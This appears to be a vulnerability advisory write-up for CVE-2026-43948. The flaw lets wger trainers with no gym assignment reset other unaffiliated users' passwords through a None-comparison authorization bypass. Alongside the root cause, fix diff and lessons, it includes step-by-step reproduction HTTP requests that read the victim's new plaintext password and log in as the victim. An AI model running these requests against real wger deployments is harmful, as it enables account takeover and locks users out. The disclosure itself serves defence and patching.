Skip to content

Latest commit

 

History

History
217 lines (154 loc) · 12.9 KB

File metadata and controls

217 lines (154 loc) · 12.9 KB

CVE-2026-43948 — wger cross-tenant password reset via gym=None comparison bypass

A trainer with gym.manage_gym and no gym assignment can reset the password of any other unaffiliated user, receive the plaintext password in the HTTP response, and permanently lock the victim out — all because Django ORM object inequality silently passes when both sides are None.

CVE CVE-2026-43948 (NVD)
GHSA GHSA-mhc8-p3jx-84mm
Severity Critical — CVSS 9.9
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE CWE-863: Incorrect Authorization
Affected wger ≤ 2.5.0
Fixed 2.6 (patch on main branch as of e1d329f)
Authentication Authenticated trainer with gym.manage_gym and no gym assignment
Reporter @whatisproblem
Fix commit e1d329f — "Implement better gym membership checks" (2026-04-26)

Summary

wger is a self-hosted Django-based fitness/workout tracking platform with a "gym mode" that lets a trainer manage members of their gym (reset passwords, view contracts, edit admin notes, etc.). The gym-scope authorization model says: a trainer with the gym.manage_gym permission may only act on members of their own gym.

That model is enforced by an inequality check between two userprofile.gym ForeignKey objects:

if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

When both sides are None (i.e. neither the trainer nor the target user has been assigned to a gym yet — the default state for newly registered users), Python evaluates None != None as False. The guard silently passes, and execution continues to:

password = password_generator()
user.set_password(password)
user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})

The freshly generated password is rendered verbatim into the HTML response body. The attacker reads it out of the response, logs in as the victim, and the victim is now permanently locked out (their original password has been replaced).

The conditions for exploit:

  • The attacker holds gym.manage_gym (a permission routinely delegated to "trainer" or "gym admin" roles, not just site admins).
  • The attacker's own userprofile.gym is None (true for any trainer that has not yet been linked to a specific gym — the default after permission grant).
  • The victim's userprofile.gym is None (true for every newly registered user before manual gym assignment, and a permanent state on instances where gym mode is not used at all).

That last point makes this a broadly applicable bug: every public-registration wger instance has a population of gym=None users by design, so any deployment that delegates manage_gym to non-admins is exposed.

Root cause

wger/gym/views/gym.pyreset_user_password() (and the parallel gym_permissions_user_edit()):

def reset_user_password(request, user_pk):
    user = get_object_or_404(User, pk=user_pk)

    if not request.user.has_perm('gym.manage_gyms') \
            and not request.user.has_perm('gym.manage_gym'):
        return HttpResponseForbidden()

    # ⚠ The bug. When both gyms are None, this silently passes.
    if (request.user.has_perm('gym.manage_gym')
            and request.user.userprofile.gym != user.userprofile.gym):
        return HttpResponseForbidden()

    password = password_generator()
    user.set_password(password)
    user.save()
    return render(request, 'user/trainer_login.html', {'password': password, ...})

There are two compounding mistakes:

  1. Object-!= semantics. request.user.userprofile.gym and user.userprofile.gym are Django ForeignKey accessors that resolve to a Gym model instance — or, when the FK is null, to None. Python's default __ne__ on None follows reflexive equality: None != None is False. So when the attacker is unaffiliated and the victim is unaffiliated, the inequality returns False, the if body is skipped, and the function proceeds as if the two users did belong to the same gym.

  2. Plaintext password in the response body. Even after the authorization is fixed, returning the freshly generated plaintext password verbatim in HTML makes any future bypass instantly exploitable. The response template should at minimum show a one-time reveal screen, mail the new password out-of-band, or — better — issue a one-time setup token and force the victim through a setup flow on next login. A cross-tenant bypass with no plaintext disclosure would be ugly; a cross-tenant bypass with plaintext disclosure is the difference between "potential impact" and "single-request account takeover".

The same gym != gym pattern appears in other gym-scoped views (admin_notes_list, documents_list, contracts_list) and in trainer_login in wger/core/views/user.py. Those are fixed by the same patch.

Reproduction

Setup

Pull the official wger Docker image (the GHSA confirms reproduction on wger/server:latest running Django 5.2.13):

docker pull wger/server:latest
docker run -d -p 8000:8000 --name wger wger/server:latest

Create two users (either via the admin UI or python manage.py shell):

  • trainer1 — assign the gym.manage_gym permission. Leave userprofile.gym = None.
  • alice — regular user. userprofile.gym = None (the default).

Step 1 — authenticate as the attacker

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=<known-trainer-pw>&csrfmiddlewaretoken=<csrf>

→ 302 Found
   Set-Cookie: sessionid=<trainer1_session>

Step 2 — trigger cross-tenant password reset

GET /en/gym/user/<alice_user_id>/reset-user-password HTTP/1.1
Host: target
Cookie: sessionid=<trainer1_session>

→ 200 OK
  <tr><th>Password</th><td>{{GENERATED_PLAINTEXT_PASSWORD}}</td></tr>

The body contains alice's brand-new password, generated server-side and never sent to alice.

Step 3 — log in as the victim

POST /en/user/login HTTP/1.1
Host: target

username=alice&password={{GENERATED_PLAINTEXT_PASSWORD}}&csrfmiddlewaretoken=<csrf>

→ 302 Found, authenticated as alice

Alice's original password no longer works — she is permanently locked out unless an actual admin restores access.

RBAC disproof (three-scenario test)

To prove this is None-specific (not "trainer can reset anything"), the GHSA executes a three-scenario test:

Scenario Trainer gym Victim gym Expected Observed
A gym=1 (admin) gym=1 200 OK (documented feature) 200 OK ✓
B gym=None gym=None 403 Forbidden 200 OK with plaintext password
C gym=1 gym=2 403 Forbidden 403 Forbidden ✓

Only scenario B fails. The bypass is specific to the None == None ORM-object trap.

Demonstrative scope only. No real user data is exfiltrated by the PoC; the demonstration uses two test accounts created for the test. A real attack would target users known to exist on the instance (registration is publicly enumerable on most wger deployments), enumerate gym=None candidates, and chain account takeover into whatever the application surfaces post-login.

Fix

Patched on main by commit e1d329f (2026-04-26): "Implement better gym membership checks". A new helper is added to wger/gym/helpers.py:

def is_same_gym(user_a, user_b):
    """
    Check whether two users belong to the same gym.

    Returns ``True`` only when both users are members of the same, non-null gym
    """
    gym_a = user_a.userprofile.gym_id
    gym_b = user_b.userprofile.gym_id
    return gym_a is not None and gym_a == gym_b

Three things this gets right that the original code got wrong:

  1. Compares the raw FK integer (gym_id) instead of the resolved object — eliminating Python's __eq__ / __ne__ on None from the comparison entirely.
  2. Explicit is not None check — the unaffiliated case is now an explicit False, not a silently-passed equality.
  3. Centralised — every callsite that previously inlined a.userprofile.gym != b.userprofile.gym is now not is_same_gym(a, b). Even if a future contributor reintroduces the buggy pattern by typing it from memory, code review has a one-liner to point at.

The patched callsites:

# wger/gym/views/gym.py — reset_user_password
-    if (request.user.has_perm('gym.manage_gym')
-            and request.user.userprofile.gym != user.userprofile.gym):
+    if request.user.has_perm('gym.manage_gym') and not is_same_gym(request.user, user):
         return HttpResponseForbidden()

# wger/gym/views/gym.py — gym_permissions_user_edit
-    if user.has_perm('gym.manage_gym') and user.userprofile.gym != member.userprofile.gym:
+    if user.has_perm('gym.manage_gym') and not is_same_gym(user, member):
         return HttpResponseForbidden()

# wger/core/views/user.py — trainer_login + 2 ListView dispatch() methods
-    if request.user.userprofile.gym != user.userprofile.gym:
+    if not is_same_gym(request.user, user):
         return HttpResponseForbidden()

The fix is on main. As of writing, the latest tagged release is 2.5 (2026-04-15) — the 2.6 release that ships this fix has not yet been cut. Self-hosters running 2.5 should pin to main (or wait for 2.6).

A separate hardening — not strictly part of this CVE but worth doing — is removing the plaintext-password-in-response pattern from trainer_login.html and replacing it with a one-time setup link mailed to the user. That would have made a one-day account-takeover into a multi-step attack even with the authorization bypass.

Timeline

  • 2026-04-17/18 — Discovered during automated audit of the wger codebase.
  • 2026-04-18 — Reported privately via GHSA Draft to the wger maintainers.
  • 2026-04-26 — Fix commit e1d329f lands on main.
  • 2026-04-28 — GHSA-mhc8-p3jx-84mm published; CVE-2026-43948 assigned.
  • (pending) — wger 2.6 release expected to ship the fix in a tagged version.

Lessons

  • None == None is True. None != None is False. ORM equality follows Python equality. Any nullable foreign key compared with == or != is one missing-row away from a silent bypass. Whenever the comparison is security-critical, compare the underlying ID with explicit null-handling: a.fk_id is not None and a.fk_id == b.fk_id.
  • Centralise security predicates. A grep for userprofile.gym != across this codebase would have caught five buggy callsites at once. The fix's is_same_gym(a, b) helper is now a single source of truth — and a single audit point for future reviewers.
  • Don't return secrets in response bodies. The bypass is severe but the severity multiplier is the plaintext-in-HTML response. A "reset → email a one-time setup link to the user's verified address" flow forces an out-of-band channel that a cross-tenant attacker doesn't control. Treat any flow that puts a generated credential into a response body as a target for hardening independent of its current authorization story.
  • Default-state attackers are the realistic ones. "Trainer with gym=None" sounds contrived until you realise it is the default state of every freshly created trainer account before manual assignment. Bugs that key off "default state" are the most exploitable bugs because operators don't know the default state is dangerous.
  • The same structural bug class is rarely just one CVE. Five views in this codebase share the same comparison pattern; one of them is in this CVE, the others are clustered into a sibling advisory. When you find a None-comparison authorization bug, immediately grep the rest of the codebase for the shape of the comparison, not the function name.

References